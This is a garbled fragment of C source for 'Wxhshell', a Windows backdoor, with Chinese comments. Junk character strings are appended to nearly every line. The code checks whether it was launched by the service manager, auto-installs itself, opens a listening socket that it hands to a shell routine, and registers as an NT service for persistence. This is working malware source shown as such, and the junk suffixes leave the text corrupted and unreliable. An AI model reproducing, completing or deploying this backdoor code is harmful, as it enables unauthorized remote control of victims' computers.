ULONG UniqueProcessId; <fyv^e
ULONG InheritedFromUniqueProcessId; tG{Vn +~/
} PROCESS_BASIC_INFORMATION; 36j.is
QzS{2Y[OQ
PROCNTQSIP NtQueryInformationProcess; co*5NM^
5 Fd ]3
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k%LE"Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?r@ZTuq#
mhs%b4'>
HANDLE hProcess; T^Z#x-Q
PROCESS_BASIC_INFORMATION pbi; 0!?f9kJq
|e\:0O?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `6M(`*Up
if(NULL == hInst ) return 0; 2R_k$kHl
[0rG"$(0Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hgh1G7A&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0zfrx-'zN
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Le}q>>o;q
H37Z\xS
if (!NtQueryInformationProcess) return 0; ?Jma^ S
O/5W-u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mki=.l$O
if(!hProcess) return 0; )45,~+XX
EZ=M^0=Hpf
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?e ~* ,6
;3-ssF}k*
CloseHandle(hProcess); TLkkB09fvk
f8n'9HOw>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }^ iE|YKz
if(hProcess==NULL) return 0; B
51LZP
&v`kyc
HMODULE hMod; v(0vP}[Q7E
char procName[255]; F )tNA?p)
unsigned long cbNeeded; ^@ux
}cf-r>WaR
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >0m-S :lk
:@p`E}1r{
CloseHandle(hProcess); nd?m+C&W
.p5*&i7
if(strstr(procName,"services")) return 1; // 以服务启动 < ^&'r5H
sO*6F`eiZ
return 0; // 注册表启动 HY42G#^
} @<AIPla
'|+_~ZO*d
// 主模块 SY{J
int StartWxhshell(LPSTR lpCmdLine) mHhm~u
{ ]A\n>Z!;
SOCKET wsl; K;Xn!:) V:
BOOL val=TRUE; I?:V EN:
int port=0; FJD*A`a
struct sockaddr_in door; ^a]i&o[c
{wm
`
if(wscfg.ws_autoins) Install(); ZzE&?
oNdO@i%.q4
port=atoi(lpCmdLine); H4pjtVBr
9#agI|d~
if(port<=0) port=wscfg.ws_port; ~ 7k
b4[
1|%$ie
WSADATA data; 7,jqA"9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7Jqp2\
d`xqs,0f
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 65}:2l2<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
$SDx)
'!
door.sin_family = AF_INET; !F%dE!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); gi`ZFq@
door.sin_port = htons(port); +I')>6
B U)4g[4
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HgMDw/D(
closesocket(wsl); VP"L_Um
return 1; $51#xe
} :4A^~+J
qR1ez-#K
if(listen(wsl,2) == INVALID_SOCKET) { q}8R>`Z{
closesocket(wsl); ~!uK;hI
return 1; fpqKa r
} 6m{3GKaW~
Wxhshell(wsl); 63~i6
WSACleanup(); \ pq]q
i.#s'm.9
return 0; g_q{3PW.
HS2)vd@)
} )oNomsn
&oR&NKk
// 以NT服务方式启动 Qejzp/2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yZ2,AR%
{ MdPwuXI
DWORD status = 0; lyT~>.?{
DWORD specificError = 0xfffffff; !nd*U}q
RS93_F8
serviceStatus.dwServiceType = SERVICE_WIN32; "'8$hV65.p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; vbWX`skU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U@*z#T#"m
serviceStatus.dwWin32ExitCode = 0; Ufk7%`
serviceStatus.dwServiceSpecificExitCode = 0; *s/F4?*
serviceStatus.dwCheckPoint = 0; d2(n3Xf
serviceStatus.dwWaitHint = 0; 2
o.Mh/D0
*L!R4;ubE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n.T
[a
if (hServiceStatusHandle==0) return; y K{~
P--#5W;^oB
status = GetLastError(); /f2*J
if (status!=NO_ERROR) t4Z.b 5g
{ cBAA32wf
serviceStatus.dwCurrentState = SERVICE_STOPPED; p'R}z|d)
serviceStatus.dwCheckPoint = 0; 6Y=$7%z
serviceStatus.dwWaitHint = 0; ycH=L8
serviceStatus.dwWin32ExitCode = status; y@(U6ZOyx
serviceStatus.dwServiceSpecificExitCode = specificError; K4
>d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?2i``-|Wa
return; s5[ Cr"q7B
}
AKHi$Bk
7[K$os5al
serviceStatus.dwCurrentState = SERVICE_RUNNING; %8v?dB;>x`
serviceStatus.dwCheckPoint = 0; ,,6e }o6
serviceStatus.dwWaitHint = 0; /1^%32c
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [k.<x'#
} @-W)(9kZ|
Aw5yvQ>]e
// 处理NT服务事件,比如:启动、停止 [bZXzV(
VOID WINAPI NTServiceHandler(DWORD fdwControl) ruA!+@or
{ S4\T (
switch(fdwControl) hxv/285B
{ x;C\G`9N
case SERVICE_CONTROL_STOP: ge E7<"m%
serviceStatus.dwWin32ExitCode = 0; '91Ak,cWB
serviceStatus.dwCurrentState = SERVICE_STOPPED; !]"T`^5,Y
serviceStatus.dwCheckPoint = 0; _[.`QW~
serviceStatus.dwWaitHint = 0; eQNYfWR
{ }6o` in>M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %II |;<
} =T+<>/[
return; lT%o6qgT
case SERVICE_CONTROL_PAUSE: BO1Mz=q
serviceStatus.dwCurrentState = SERVICE_PAUSED; /6f$%:q
break; z7GLpTa
case SERVICE_CONTROL_CONTINUE: oEfKL`]B
serviceStatus.dwCurrentState = SERVICE_RUNNING; t<Og?m}(
break; h-6kf:XP%
case SERVICE_CONTROL_INTERROGATE: -f'z_&KI
break; MN#\P1
}; fghJj@ES
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y(-+>>j_
} >`t
|a
[aIQ/&